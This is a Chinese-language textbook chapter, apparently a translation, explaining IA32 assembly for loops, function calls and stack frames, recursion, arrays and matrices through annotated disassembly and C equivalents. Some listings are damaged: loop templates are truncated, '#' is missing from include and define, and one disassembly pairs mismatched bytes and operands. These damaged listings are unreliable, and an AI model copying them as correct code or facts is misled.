+ `add $0x1,-0x4(%ebp)` 将 `i` 增加 1(即 `i+=1`)。
+ `mov -0x4(%ebp),%eax` 将 `i` 复制到寄存器 `%eax`。
+ `cmp 0x8(%ebp),%eax` 比较 `i` 与 `n`。
+ `jle 0x8048421 <sumUp+22>` 会在 `i` 小于或等于 `n` 时跳回到该指令序列的开头。
如果在 `<sumUp+38>` 处未进入分支(即 `i` *不* 小于或等于 `n`),则将 `total` 存入返回寄存器,并退出函数。
以下代码列表显示了 `sumUp` 函数的汇编和 `goto` 形式的 C 代码:
汇编
<+0>: push %ebp
<+1>: mov %esp,%ebp
<+3>: sub $0x10,%esp
<+6>: movl $0x0,-0x8(%ebp)
<+13>: movl $0x1,-0x4(%ebp)
<+20>: jmp <sumUp+32>
<+22>: mov -0x4(%ebp),%eax
<+25>: add %eax,-0x8(%ebp)
<+28>: addl $0x1,-0x4(%ebp)
<+32>: mov -0x4(%ebp),%eax
<+35>: cmp 0x8(%ebp),%eax
<+38>: jle <sumUp+22>
<+40>: mov -0x8(%ebp),%eax
<+43>: leave
<+44>: ret
转换后的 `goto` 形式
int sumUp(int n) {
int total = 0;
int i = 1;
goto start;
body:
total += i;
i += 1;
start:
if (i <= n) {
goto body;
}
return total;
}
上面的代码等价于以下没有 `goto` 语句的 C 代码:
int sumUp(int n) {
int total = 0;
int i = 1;
while (i <= n) {
total += i;
i += 1;
}
return total;
}
##### 汇编中的 `for` 循环
`sumUp` 函数中的主要循环也可以写成一个 `for` 循环:
int sumUp2(int n) {
int total = 0; //initialize total to 0
int i;
for (i = 1; i <= n; i++) { //initialize i to 1, increment by 1 while i<=n
total += i; //updates total by i
}
return total;
}
该版本生成的汇编代码与我们的 `while` 循环示例相同。我们在此重复汇编代码,并为每一行加上其英文翻译:
0x8048438 <+0>: push %ebp # save ebp
0x8048439 <+1>: mov %esp,%ebp # update ebp (new stack frame)
0x804843b <+3>: sub $0x10,%esp # add 16 bytes to stack frame
0x804843e <+6>: movl $0x0,-0x8(%ebp) # place 0 at ebp-0x8 (total)
0x8048445 <+13>: movl $0x1,-0x4(%ebp) # place 1 at ebp-0x4 (i)
0x804844c <+20>: jmp 0x8048458 <sumUp2+32> # goto <sumUp2+32>
0x804844e <+22>: mov -0x4(%ebp),%eax # copy i to %eax
0x8048451 <+25>: add %eax,-0x8(%ebp) # add %eax to total (total+=i)
0x8048454 <+28>: addl $0x1,-0x4(%ebp) # add 1 to i (i+=1)
0x8048458 <+32>: mov -0x4(%ebp),%eax # copy i to %eax
0x804845b <+35>: cmp 0x8(%ebp),%eax # compare i with n
0x804845e <+38>: jle 0x804844e <sumUp2+22> # if (i <= n) goto <sumUp2+22>
0x8048460 <+40>: mov -0x8(%ebp),%eax # copy total to %eax
0x8048463 <+43>: leave # prepare to leave the function
0x8048464 <+44>: ret # return total
为了理解为什么这段代码的 `for` 循环版本与 `while` 循环版本生成相同的汇编代码,请回忆一下,`for` 循环有以下表现形式:
for (
}
并且等价于以下的 `while` 循环表示:
while (
}
由于每个 `for` 循环都可以通过 `while` 循环来表示(参见第 35 页的“for 循环”),以下两个 C 程序是与之前的汇编代码等价的表示:
for 循环
int sumUp2(int n) {
int total = 0;
int i = 1;
for (i; i <= n; i++) {
total += i;
}
return total;
}
while 循环
int sumUp(int n){
int total = 0;
int i = 1;
while (i <= n) {
total += i;
i += 1;
}
return total;
}
### 8.5 汇编中的函数
在上一节中,我们回顾了汇编中的简单函数。在本节中,我们将讨论在更大程序背景下,多个函数之间的交互。我们还将介绍一些与函数管理相关的新指令。
让我们首先复习一下调用堆栈是如何管理的。回想一下,`%esp` 是 *堆栈指针*,始终指向堆栈的顶部。寄存器 `%ebp` 代表基指针(也称为 *帧指针*),指向当前堆栈帧的底部。*堆栈帧*(也称为 *激活帧* 或 *激活记录*)是指为单个函数调用分配的堆栈区域。当前正在执行的函数总是位于堆栈的顶部,其堆栈帧称为 *活动帧*。活动帧的边界由堆栈指针(位于堆栈顶部)和帧指针(位于帧底部)决定。激活记录通常包含函数的局部变量和参数。
图 8-3 显示了 `main` 函数和它调用的名为 `fname` 的函数的堆栈帧。我们将 `main` 函数称为 *调用者* 函数,将 `fname` 称为 *被调用者* 函数。

*图 8-3:堆栈帧管理*
在 图 8-3 中,当前的活动帧属于被调用者函数(`fname`)。堆栈指针和帧指针之间的内存用于存储局部变量。随着局部值被推入和弹出堆栈,堆栈指针会发生变化。与此相反,帧指针相对恒定,指向当前堆栈帧的起始位置(底部)。因此,像 GCC 这样的编译器通常会相对于帧指针引用堆栈上的值。在 图 8-3 中,活动帧的下边界由 `fname` 的基指针限定,该基指针的堆栈地址为 0x418。存储在该地址的值是“保存的”`%ebp` 值(0x42c),它本身指示 `main` 函数的激活帧底部。`main` 函数的激活帧顶部由 *返回地址* 确定,返回地址指示程序地址,`main` 在被调用函数执行完毕后将在该地址恢复执行。
**警告 返回地址指向程序内存,而非堆栈内存**
请记住,程序的调用栈区域(栈内存)与代码区域(代码内存)是不同的。`%ebp`和`%esp`指向栈内存中的位置,而`%eip`指向*代码*内存中的位置。换句话说,返回地址是代码内存中的一个地址,而不是栈内存中的地址(见图 8-4)。

*图 8-4:程序地址空间的组成部分*
表 8-16 包含了编译器用于基本函数管理的几条额外指令。
**表 8-16:** 常见的函数管理指令
| **指令** | **翻译** |
| --- | --- |
| `leave` | 为离开一个函数准备栈。等同于: |
| | `mov %ebp,%esp` |
| | `pop %ebp` |
| `call addr <fname>` | 切换活动帧到被调用函数。等同于: |
| | `push %eip` |
| | `mov addr,%eip` |
| `ret` | 恢复活动帧到调用者函数。等同于: |
| | `pop %eip` |
例如,`leave`指令是编译器用来恢复栈指针和帧指针的简写,它准备离开一个函数。当被调用函数执行完毕时,`leave`确保帧指针被*恢复*到先前的值。
`call`和`ret`指令在一个函数调用另一个函数的过程中起着重要作用。两者都修改了指令指针(寄存器`%eip`)。当调用函数执行`call`指令时,`%eip`的当前值被保存到栈中,表示返回地址,即在被调用函数执行完毕后,调用函数继续执行的程序地址。`call`指令还将`%eip`的值替换为被调用函数的地址。
`ret`指令将`%eip`的值恢复为保存在栈中的值,确保程序在调用函数指定的程序地址处继续执行。被调用函数返回的任何值都会存储在`%eax`中。`ret`指令通常是任何函数中执行的最后一条指令。
#### 8.5.1 追踪一个示例
运用我们对函数管理的知识,让我们追踪一下本章开始时介绍的代码示例。
include <stdio.h>
int assign(){
int y = 40;
return y;
}
int adder(){
int a;
return a + 2;
}
int main(){
int x;
assign();
x = adder();
printf("x is: %d\n", x);
return 0;
}
我们使用`-m32`标志编译代码,并用`objdump -d`查看底层汇编代码。后者命令会输出一个非常大的文件,包含很多我们不需要的信息。可以使用`less`和搜索功能提取`adder`、`assign`和`main`函数:
804840d
804840d: 55 push %ebp
804840e: 89 e5 mov %esp,%ebp
8048410: 83 ec 10 sub $0x10,%esp
8048413: c7 45 fc 28 00 00 00 movl $0x28,-0x4(%ebp)
804841a: 8b 45 fc mov -0x4(%ebp),%eax
804841d: c9 leave
804841e: c3 ret
0804841f
804841f: 55 push %ebp
8048420: 89 e5 mov %esp,%ebp
8048422: 83 ec 10 sub $0x10,%esp
8048425: 8b 45 fc mov -0x4(%ebp),%eax
8048428: 83 c0 02 add $0x2,%eax
804842b: c9 leave
804842c: c3 ret
0804842d
804842d: 55 push %ebp
804842e: 89 e5 mov %esp,%ebp
8048433: 83 ec 20 sub $0x14,%esp
8048436: e8 d2 ff ff ff call 804840d
804843b: e8 df ff ff ff call 804841f
8048440: 89 44 24 1c mov %eax,0xc(%esp)
8048444: 8b 44 24 1c mov 0xc(%esp),%eax
8048448: 89 44 24 04 mov %eax,0x4(%esp)
804844c: c7 04 24 f4 84 04 08 movl $0x80484f4,(%esp)
8048453: e8 88 fe ff ff call 80482e0 printf@plt
8048458: b8 00 00 00 00 mov $0x0,%eax
804845d: c9 leave
804845e: c3 ret
每个函数都以一个符号标签开始,该标签对应程序中声明的函数名。例如,`<main>:`是`main`函数的符号标签。函数标签的地址也是该函数中第一条指令的地址。为了节省后续图示的空间,我们将地址截断为低 12 位。因此,程序地址 0x804842d 显示为 0x42d。
#### 8.5.2 追踪 `main`
图 8-5 显示了 `main` 函数执行前的栈的状态。

*图 8-5:执行 `main` 函数前,CPU 寄存器和调用栈的初始状态*
回想一下,栈是向较低地址增长的。在此示例中,`%ebp` 的地址为 0x140,`%esp` 的地址为 0x130(这两个值是为了本示例而虚构的)。寄存器 `%eax` 和 `%edx` 最初包含垃圾值。左上角的箭头表示当前正在执行的指令。最初,`%eip` 包含地址 0x42d,这是 `main` 函数中第一行代码的程序内存地址。让我们一起追踪程序的执行。

第一条指令将 `ebp` 的值压入栈中,保存了地址 0x140。由于栈是向较低地址增长的,栈指针 `%esp` 更新为 0x12c,这比 0x130 少了 4 个字节。寄存器 `%eip` 会指向下一条指令。

下一条指令(`mov %esp,%ebp`)将 `%ebp` 的值更新为与 `%esp` 相同。帧指针(`%ebp`)现在指向 `main` 函数栈帧的起始位置。`%eip` 将指向下一个指令。

`sub` 指令将 0x14 从栈指针地址中减去,“增长”了栈 20 个字节。寄存器 `%eip` 会前进到下一条指令,即第一条 `call` 指令。

`call <assign>` 指令将寄存器 `%eip` 中的值(表示 *下一* 个要执行的指令的地址)压入栈中。由于 `call <assign>` 后的下一条指令地址为 0x43b,这个值会作为返回地址压入栈中。回想一下,返回地址表示当程序执行返回到 `main` 时,程序应从哪个地址继续执行。
接下来,`call` 指令将 `assign` 函数的地址(0x40d)移入寄存器 `%eip`,表示程序执行应继续进入被调用的 `assign` 函数,而不是 `main` 中的下一条指令。

`assign` 函数中执行的前两条指令是每个函数执行时的常规记录操作。第一条指令将 `%ebp` 中存储的值(内存地址 0x12c)压入栈中。回想一下,这个地址指向 `main` 函数的栈帧开始位置。`%eip` 指向 `assign` 中的第二条指令。

下一条指令(`mov %esp,%ebp`)将 `%ebp` 更新为指向栈顶,标志着 `assign` 函数栈帧的开始。指令指针(`%eip`)会前进到 `assign` 函数中的下一条指令。

地址 0x410 处的 `sub` 指令将栈空间扩大了 16 字节,为栈帧中的局部值创建额外的空间,并更新了 `%esp`。指令指针再次跳转到 `assign` 函数中的下一条指令。

地址 0x413 处的 `mov` 指令将值 `$0x28`(即 40)移动到栈中地址 `-0x4(%ebp)` 处,这个位置距离帧指针上方四个字节。回忆一下,帧指针通常用于引用栈上的位置。`%eip` 继续执行 `assign` 函数中的下一条指令。

地址 0x41a 处的 `mov` 指令将值 `$0x28` 存入寄存器 `%eax` 中,该寄存器存储函数的返回值。`%eip` 继续执行 `assign` 函数中的 `leave` 指令。

到此时,`assign` 函数的执行几乎完成。接下来执行的指令是 `leave` 指令,它为从函数调用返回做准备。回忆一下,`leave` 相当于以下一对指令:
mov %ebp, %esp
pop %ebp
换句话说,CPU 用帧指针覆盖了栈指针。在我们的示例中,栈指针最初从 0x100 更新为 0x110。接下来,CPU 执行 `pop %ebp`,将位于 0x110 处的值(在我们的示例中,地址是 0x12c)放入 `%ebp` 中。回忆一下,0x12c 是 `main` 函数的栈帧起始地址。`%esp` 变为 0x114,`%eip` 指向 `assign` 函数中的 `ret` 指令。

`assign` 中的最后一条指令是 `ret` 指令。当 `ret` 执行时,返回地址会从栈中弹出,并加载到寄存器 `%eip` 中。在我们的示例中,`%eip` 会跳转到对 `adder` 函数的调用。
在此时,需要注意的一些重要事项:
+ 栈指针和帧指针已经恢复为调用 `assign` 之前的值,表明 `main` 函数的栈帧再次成为活动栈帧。
+ 之前活动栈帧中的旧值并未从栈中移除。它们仍然存在于调用栈中。

调用 `adder` *覆盖* 栈上旧的返回地址,替换为新的返回地址(0x440)。这个返回地址指向 `adder` 返回后执行的下一条指令,或 `mov %eax,0xc(%ebp)`。`%eip` 反映出 `adder` 中第一条将要执行的指令,它位于地址 0x41f。

`adder` 函数中的第一条指令将调用者的帧指针(即 `main` 函数中的 `%ebp`)保存在栈上。

下一条指令将 `%ebp` 更新为 `%esp` 的当前值,即地址 0x110。这两条指令共同建立了 `adder` 函数栈帧的起始位置。

地址 0x422 处的 `sub` 指令“扩展”了栈,增加了 16 字节。请再次注意,扩展栈并不会影响栈上之前创建的任何值。旧的值会遗留在栈上,直到被覆盖。

请特别注意接下来执行的指令:`mov $-0x4(%ebp), %eax`。这将栈上的一个*旧*值移入寄存器 `%eax`!这是因为程序员忘记在 `adder` 函数中初始化 `a` 变量的直接后果。

地址 0x428 处的 `add` 指令将 2 加到寄存器 `%eax` 中。回想一下,IA32 通过寄存器 `%eax` 传递返回值。最后两条指令等同于 `adder` 中的以下代码:
int a;
return a + 2;

执行完 `leave` 后,帧指针再次指向 `main` 的栈帧起始位置,地址 0x12c。栈指针现在存储着地址 0x114。

执行 `ret` 指令将返回地址从栈中弹出,恢复指令指针到 0x440,或者说恢复到 `main` 中下一条要执行的指令的地址。此时 `%esp` 的地址为 0x118。

`mov %eax,0xc(%esp)` 指令将 `%eax` 中的值放置在 `%esp` 下方 12 字节(即三个位置)的位置。

稍微跳过一点,地址 0x444 和 0x448 处的 `mov` 指令将 `%eax` 设置为存储在位置 `%esp+12`(或 0x2A)中的值,并将 0x2A 放置在栈顶下方一个位置(地址 `%esp + 4`,即 0x11c)。

下一条指令(`mov $0x80484f4, (%esp)`)将一个常数值(一个内存地址)复制到栈顶。这个内存地址 0x80484f4 存储了字符串 `"x is %d\n"`。指令指针跳转到对 `printf` 函数的调用(通过标签 `<printf@plt>` 表示)。

为了简洁起见,我们将不追踪 `printf` 函数,它是 `stdio.h` 的一部分。然而,我们从手册页(`man -s3 printf`)知道,`printf` 有以下格式:
int printf(const char * format, ...)
换句话说,第一个参数是一个指向字符串的指针,指定了格式,第二个及之后的参数指定了格式中使用的值。由地址 0x444–0x45c 指定的指令对应于 `main` 函数中的以下一行:
printf("x is %d\n", x);
当调用 `printf` 函数时:
+ 一个返回地址,指定了在调用 `printf` 后执行的指令,这个地址被压入栈中。
+ `%ebp` 的值被压入栈中,且 `%ebp` 被更新为指向栈顶,标志着 `printf` 的栈帧的起始位置。
在某个时刻,`printf` 引用它的参数,这些参数是字符串 `"x is %d\n"` 和值 0x2A。回想一下,返回地址位于 `%ebp` 下方的位置 `%ebp` + 4。第一个参数位于 `%ebp` + 8(即直接在返回地址下方),第二个参数位于 `%ebp` + 12。
对于任何具有 *n* 个参数的函数,GCC 将第一个参数放置在位置 `%ebp` + 8,第二个放在 `%ebp` + 12,第 *n* 个参数放在位置 (`%ebp` + 8) + (4 × (*n –* 1))。
在调用 `printf` 后,值 0x2A 以整数格式输出给用户。因此,值 42 被打印到屏幕上!

在调用 `printf` 后,最后几条指令清理堆栈并准备从 `main` 函数干净地退出。首先,值 0x0 被放入寄存器 `%eax`,表示从 `main` 返回值 0。回想一下,程序返回 0 表示正常终止。

在执行完 `leave` 和 `ret` 后,堆栈和帧指针会恢复到 `main` 执行前的原始值。返回寄存器 `%eax` 中的 0x0,程序返回 0。
如果你仔细阅读了本节内容,你应该明白为什么我们的程序会打印出值 42。实际上,程序不小心使用了堆栈上的旧值,导致它以我们没有预料到的方式执行。虽然这个例子相对无害,但我们将在后续章节中讨论黑客如何滥用函数调用,使程序以真正恶意的方式行为不端。
### 8.6 递归
递归函数是一类特殊的函数,它们通过调用自身(也称为 *自引用* 函数)来计算一个值。与非递归函数一样,递归函数会为每次函数调用创建新的堆栈帧。与标准函数不同,递归函数包含对自身的函数调用。
让我们重新审视从 1 到 *n* 的正整数求和问题。在前面的章节中,我们讨论了 `sumUp` 函数来实现这个任务。以下代码展示了一个相关的函数 `sumDown`,它按逆序(*n* 到 1)加和,以及其递归等效函数 `sumr`:
迭代的
int sumDown(int n) {
int total = 0;
int i = n;
while (i > 0) {
total += i;
i--;
}
return total;
}
递归
int sumr(int n) {
if (n <= 0) {
return 0;
}
return n + sumr(n-1);
}
递归函数 `sumr` 中的基本情况处理了任何小于 1 的 *n* 值,递归步骤将当前值 *n* 加到递归调用 `sumr`(值为 *n –* 1)的结果中。用 `-m32` 标志编译 `sumr` 并用 GDB 反汇编得到以下汇编代码:
0x0804841d <+0>: push %ebp # save ebp
0x0804841e <+1>: mov %esp,%ebp # update ebp (new stack frame)
0x08048420 <+3>: sub $0x8,%esp # add 8 bytes to stack frame
0x08048423 <+6>: cmp $0x0,0x8(%ebp) # compare ebp+8 (n) with 0
0x08048427 <+10>: jg 0x8048430 <sumr+19> # if (n > 0), goto <sumr+19>
0x08048429 <+12>: mov $0x0,%eax # copy 0 to eax (result)
0x0804842e <+17>: jmp 0x8048443 <sumr+38> # goto <sumr+38>
0x08048430 <+19>: mov 0x8(%ebp),%eax # copy n to eax (result)
0x08048433 <+22>: sub $0x1,%eax # subtract 1 from n (result--)
0x08048436 <+25>: mov %eax,(%esp) # copy n-1 to top of stack
0x08048439 <+28>: call 0x804841d
0x0804843e <+33>: mov 0x8(%ebp),%edx # copy n to edx
0x08048441 <+36>: add %edx,%eax # add n to result (result+=n)
0x08048443 <+38>: leave # prepare to leave the function
0x08048444 <+39>: ret # return result
上述汇编代码的每一行都注释了它的英文翻译。在这里,我们展示了对应的 `goto` 形式(第一种)和没有 `goto` 语句的 C 程序(第二种):
C `goto` 形式
int sumr(int n) {
int result;
if (n > 0) {
goto body;
}
result = 0;
goto done;
body:
result = n;
result -= 1;
result = sumr(result);
result += n;
done:
return result;
}
无 `goto` 的 C 版本
int sumr(int n) {
int result;
if (n <= 0) {
return 0;
}
result = sumr(n-1);
result += n;
return result;
}
虽然这个翻译最初看起来可能与原始的 `sumr` 函数不完全相同,但仔细检查后会发现,两个函数实际上是等效的。
#### 8.6.1 动画:观察调用栈如何变化
作为练习,我们鼓励你绘制栈的变化,并查看值如何变化。我们已经在线提供了一个动画,展示了当我们以值 3 运行此函数时,栈如何更新。^(2)
### 8.7 数组
回想一下,数组(参见第 44 页的“数组简介”)是同一类型数据元素的有序集合,并连续存储在内存中。静态分配的一维数组(参见第 81 页的“一维数组”部分)形式为`<type> arr[N]`,其中`<type>`是数据类型,`arr`是与数组关联的标识符,`N`是数据元素的数量。声明一个静态数组为`<type> arr[N]`或动态声明为`arr = malloc(N*sizeof(<type>))`会分配`N` × `sizeof(<type>)`字节的总内存,并且`arr`指向它。
要访问数组`arr`中索引为`i`的元素,可以使用语法`arr[i]`。编译器通常在转换为汇编语言之前,将数组引用转换为指针运算(参见第 67 页的“指针变量”)。因此,`arr+i`等同于`&arr[i]`,`*(arr+i)`等同于`arr[i]`。由于`arr`中的每个数据元素都是类型`<type>`,因此`arr+i`意味着元素`i`存储在地址`arr + sizeof(<type>) × i`处。
表 8-17 列出了常见的数组操作及其对应的汇编指令。假设寄存器`%edx`存储`arr`的地址,寄存器`%ecx`存储值`i`,寄存器`%eax`表示某个变量`x`。
**表 8-17:** 常见数组操作及其对应的汇编表示
| **操作** | **类型** | **汇编表示** |
| --- | --- | --- |
| `x = arr` | `int *` | `movl %edx,%eax` |
| `x = arr[0]` | `int` | `movl (%edx),%eax` |
| `x = arr[i]` | `int` | `movl (%edx,%ecx,4),%eax` |
| `x = &arr[3]` | `int *` | `leal 0xc(%edx),%eax` |
| `x = arr+3` | `int *` | `leal 0xc(%edx),%eax` |
| `x = *(arr+3)` | `int` | `movl 0xc(%edx),%eax` |
请特别注意表 8-17 中每个表达式的*类型*。通常,编译器使用`movl`指令来解引用指针,使用`leal`指令来计算地址。
注意,要访问元素`arr[3]`(或使用指针运算`*(arr+3)`),编译器会在地址`arr+3*4`上执行内存查找,而不是`arr+3`。为了理解为什么这样做是必要的,回想一下,数组中索引为`i`的任何元素都存储在地址`arr + sizeof(<type>) * i`上。因此,编译器必须将索引乘以数据类型的大小,以计算正确的偏移量。还要记住,内存是按字节寻址的;按正确字节数偏移等同于计算地址。
作为示例,考虑一个包含五个整数元素的数组(`array`)(参见图 8-6)。

*图 8-6:内存中五个整数数组的布局。每个标记为*x*[i]的框代表一个字节,每个`int`占四个字节。*
注意到由于`array`是一个整数数组, 每个元素占用四个字节。因此,一个包含五个元素的整数数组会占用 20 个字节的连续内存。
为了计算元素 3 的地址,编译器将索引 3 乘以整数类型的数据大小(4),得到偏移量 12。果然,图 8-6 中的元素 3 位于字节偏移量*x*[12]。
让我们来看一个简单的 C 函数`sumArray`,它对数组中的所有元素进行求和:
int sumArray(int *array, int length) {
int i, total = 0;
for (i = 0; i < length; i++) {
total += array[i];
}
return total;
}
`sumArray`函数接受一个数组的地址和数组的长度,并对数组中的所有元素进行求和。现在,看看`sumArray`函数对应的汇编代码:
<+0>: push %ebp # save ebp
<+1>: mov %esp,%ebp # update ebp (new stack frame)
<+3>: sub $0x10,%esp # add 16 bytes to stack frame
<+6>: movl $0x0,-0x8(%ebp) # copy 0 to %ebp-8 (total)
<+13>: movl $0x0,-0x4(%ebp) # copy 0 to %ebp-4 (i)
<+20>: jmp 0x80484ab <sumArray+46> # goto <sumArray+46> (start)
<+22>: mov -0x4(%ebp),%eax # copy i to %eax
<+25>: lea 0x0(,%eax,4),%edx # copy i*4 to %edx
<+32>: mov 0x8(%ebp),%eax # copy array to %eax
<+35>: add %edx,%eax # copy array+i*4 to %eax
<+37>: mov (%eax),%eax # copy (array+i4) to %eax
<+39>: add %eax,-0x8(%ebp) # add (array+i4) to total
<+42>: addl $0x1,-0x4(%ebp) # add 1 to i
<+46>: mov -0x4(%ebp),%eax # copy i to %eax
<+49>: cmp 0xc(%ebp),%eax # compare i with length
<+52>: jl 0x8048493 <sumArray+22> # if i<length goto <sumArray+22> (loop)
<+54>: mov -0x8(%ebp),%eax # copy total to eax
<+57>: leave # prepare to leave the function
<+58>: ret # return total
在跟踪这些汇编代码时,要考虑所访问的数据是表示地址还是值。例如,位于`<sumArray+13>`的指令导致`%ebp-4`包含一个`int`类型的变量,该变量最初被设置为 0。与此不同,存储在`%ebp+8`的参数是函数的第一个参数(`array`),它是`int *`类型,表示数组的基地址。另一个变量(我们称之为`total`)存储在`%ebp-8`的位置。
让我们仔细看看位于`<sumArray+22>`和`<sumArray+39>`之间的五条指令:
<+22>: mov -0x4(%ebp),%eax # copy i to %eax
<+25>: lea 0x0(,%eax,4),%edx # copy i*4 to %edx
<+32>: mov 0x8(%ebp),%eax # copy array to %eax
<+35>: add %edx,%eax # copy array+i*4 to %eax
<+37>: mov (%eax),%eax # copy (array+i4) to %eax
<+39>: add %eax,-0x8(%ebp) # add (array+i4) to total (total+=array[i])
回想一下,编译器通常使用`lea`来对操作数执行简单的算术运算。操作数`0x0(,%eax,4)`可以转换为`%eax*4 + 0x0`。由于`%eax`存储的是`i`的值,这个操作将值`i*4`复制到`%edx`。此时,`%edx`包含必须添加的字节数,以便计算出`array[i]`的正确偏移量。
下一条指令(`mov 0x8(%ebp),%eax`)将第一个参数(`array`的基地址)复制到`%eax`中。在下一条指令中将`%edx`加到`%eax`中,使得`%eax`包含`array+i*4`。回想一下,`array`中索引为`i`的元素存储在地址`array + sizeof(<type>) * i`处。因此,`%eax`现在包含`&array[i]`的汇编级别计算地址。
位于`<sumArray+37>`的指令*解引用*了位于`%eax`的值,将`array[i]`的值放入`%eax`中。最后,`%eax`被加到`%ebp-8`中的值,或者叫做`total`。因此,位于`<sumArray+22>`和`<sumArray+39>`之间的五条指令对应于`sumArray`函数中的行`total += array[i]`。
### 8.8 矩阵
矩阵是一个二维数组。在 C 语言中,矩阵可以作为二维数组(`M[n][m]`)静态分配内存,或者通过一次调用`malloc`动态分配内存,或者作为数组的数组进行动态分配。我们来考虑数组的数组实现。第一个数组包含`n`个元素(`M[n]`),我们的矩阵中每个元素`M[i]`包含一个`m`个元素的数组。以下代码片段声明了大小为 4 × 3 的矩阵:
//statically allocated matrix (allocated on stack)
int M1[4][3];
//dynamically allocated matrix (programmer friendly, allocated on heap)
int **M2, i;
M2 = malloc(4 * sizeof(int*));
for (i = 0; i < 4; i++) {
M2[i] = malloc(3 * sizeof(int));
}
在动态分配的矩阵中,主数组包含一个连续的`int`指针数组。每个整数指针指向内存中的不同数组。图 8-7 说明了我们通常如何可视化每个矩阵。

*图 8-7:静态分配(`M1`)和动态分配(`M2`)的 3 × 4 矩阵示意图*
对于这两种矩阵声明,元素(*i*,*j*)可以通过双重索引语法`M[i][j]`来访问,其中`M`可以是`M1`或`M2`。然而,这些矩阵在内存中的组织方式不同。尽管两者都将元素在主数组中连续存储,但我们的静态分配矩阵还将所有行在内存中连续存储,如图 8-8 所示。

*图 8-8:矩阵`M1`按行优先顺序的内存布局*
对于`M2`,这种连续排序无法得到保证。回想一下(在第 86 页的“二维数组内存布局”中)提到的,要在堆上连续分配一个*n* × *m* 矩阵,我们应该使用一次`malloc`调用来分配*n* × *m* 个元素:
//dynamic matrix (allocated on heap, memory efficient way)
define ROWS 4
define COLS 3
int *M3;
M3 = malloc(ROWS * COLS * sizeof(int));
回想一下,在声明`M3`时,元素(*i*,*j*)*不能*通过`M[i][j]`符号来访问。相反,我们必须使用格式`M3[i*cols + j]`来索引该元素。
#### 8.8.1 连续二维数组
考虑一个函数`sumMat`,它将指向一个连续分配的矩阵(无论是静态分配还是内存高效的动态分配矩阵)作为第一个参数,另外还需要行数和列数,并返回矩阵内所有元素的和。
我们在接下来的代码片段中使用了缩放索引,因为它适用于静态和动态分配的连续矩阵。回想一下,语法`m[i][j]`在之前讨论的内存高效的连续动态分配方式中不起作用。
int sumMat(int *m, int rows, int cols) {
int i, j, total = 0;
for (i = 0; i < rows; i++){
for (j = 0; j < cols; j++){
total += m[i*cols + j];
}
}
return total;
}
下面是相应的汇编代码。每一行都附有其英文翻译:
0x08048507 <+0>: push %ebp # save ebp
0x08048508 <+1>: mov %esp,%ebp # update ebp (new stack frame)
0x0804850a <+3>: sub $0x10,%esp # add 4 more spaces to stack frame
0x0804850d <+6>: movl $0x0,-0xc(%ebp) # copy 0 to ebp-12 (total)
0x08048514 <+13>: movl $0x0,-0x4(%ebp) # copy 0 to ebp-4 (i)
0x0804851b <+20>: jmp 0x8048555 <sumMat+78> # goto <sumMat+78>
0x0804851d <+22>: movl $0x0,-0x8(%ebp) # copy 0 to ebp-8 (j)
0x08048524 <+29>: jmp 0x8048549 <sumMat+66> # goto <sumMat+66>
0x08048526 <+31>: mov -0x4(%ebp),%eax # copy i to eax
0x08048529 <+34>: imul 0x10(%ebp),%eax # multiply i * cols, place in eax
0x0804852d <+38>: mov %eax,%edx # copy i*cols to edx
0x0804852f <+40>: mov -0x8(%ebp),%eax # copy j to %eax
0x08048532 <+43>: add %edx,%eax # add i*cols with j, place in eax
0x08048534 <+45>: lea 0x0(,%eax,4),%edx # mult (i*cols+j) by 4,put in edx
0x0804853b <+52>: mov 0x8(%ebp),%eax # copy m pointer to eax
0x0804853e <+55>: add %edx,%eax # add m to (icols+j)4,put in eax
0x08048540 <+57>: mov (%eax),%eax # copy m[i*cols+j] to eax
0x08048542 <+59>: add %eax,-0xc(%ebp) # add eax to total
0x08048545 <+62>: addl $0x1,-0x8(%ebp) # increment j by 1 (j+=1)
0x08048549 <+66>: mov -0x8(%ebp),%eax # copy j to eax
0x0804854c <+69>: cmp 0x10(%ebp),%eax # compare j with cols
0x0804854f <+72>: jl 0x8048526 <sumMat+31> # if (j < cols) goto <sumMat+31>
0x08048551 <+74>: addl $0x1,-0x4(%ebp) # add 1 to i (i+=1)
0x08048555 <+78>: mov -0x4(%ebp),%eax # copy i to eax
0x08048558 <+81>: cmp 0xc(%ebp),%eax # compare i with rows
0x0804855b <+84>: jl 0x804851d <sumMat+22> # if (i < rows) goto sumMat+22
0x0804855d <+86>: mov -0xc(%ebp),%eax # copy total to eax
0x08048560 <+89>: leave # prepare to leave the function
0x08048561 <+90>: ret # return total
局部变量`i`、`j`和`total`分别存储在栈的地址`%ebp-4`、`%ebp-8`和`%ebp-12`中。输入参数`m`、`row`和`cols`分别存储在`%ebp+8`、`%ebp+12`和`%ebp+16`的位置。利用这些知识,让我们聚焦于仅处理矩阵中元素(*i*,*j*)访问的部分:
0x08048526 <+31>: mov -0x4(%ebp),%eax # copy i to eax
0x08048529 <+34>: imul 0x10(%ebp),%eax # multiply i with cols, place in eax
0x0804852d <+38>: mov %eax,%edx # copy i*cols to edx
第一组指令计算`i * cols`并将结果存入寄存器`%edx`。回想一下,对于名为`matrix`的矩阵,`matrix + (i * cols)`等同于`&matrix[i]`。
0x0804852f <+40>: mov -0x8(%ebp),%eax # copy j to eax
0x08048532 <+43>: add %edx,%eax # add i*cols with j, place in eax
0x08048534 <+45>: lea 0x0(,%eax,4),%edx # multiply (i*cols+j) by 4, put in edx
下一组指令计算`(i * cols + j) * 4`。编译器将索引`(i * cols) + j`乘以四,因为矩阵中的每个元素是一个四字节的整数,这个乘法使编译器能够计算出正确的偏移量。
最后一组指令将计算出的偏移量加到矩阵指针上,并解引用该指针以得到元素 (*i*, *j*) 的值:
0x0804853b <+52>: mov 0x8(%ebp),%eax # copy m pointer to eax
0x0804853e <+55>: add %edx,%eax # add m to (icols+j)4, place in eax
0x08048540 <+57>: mov (%eax),%eax # copy m[i*cols+j] to eax
0x08048542 <+59>: add %eax,-0xc(%ebp) # add eax to total
第一条指令将矩阵 `m` 的地址加载到寄存器 `%eax` 中。`add` 指令将偏移量 `(i*cols + j)*4` 加到 `m` 的地址上,以正确计算元素 (*i*, *j*) 的地址,然后将此地址存入寄存器 `%eax`。第三条指令解引用 `%eax` 并将结果存入寄存器 `%eax`。最后一条指令将 `%eax` 中的值加到累加器 `total` 中,`total` 位于堆栈地址 `%ebp-0xc`。
让我们考虑如何在图 8-9 中访问元素 (1,2)。

*图 8-9:矩阵 `M1` 按行主序的内存布局*
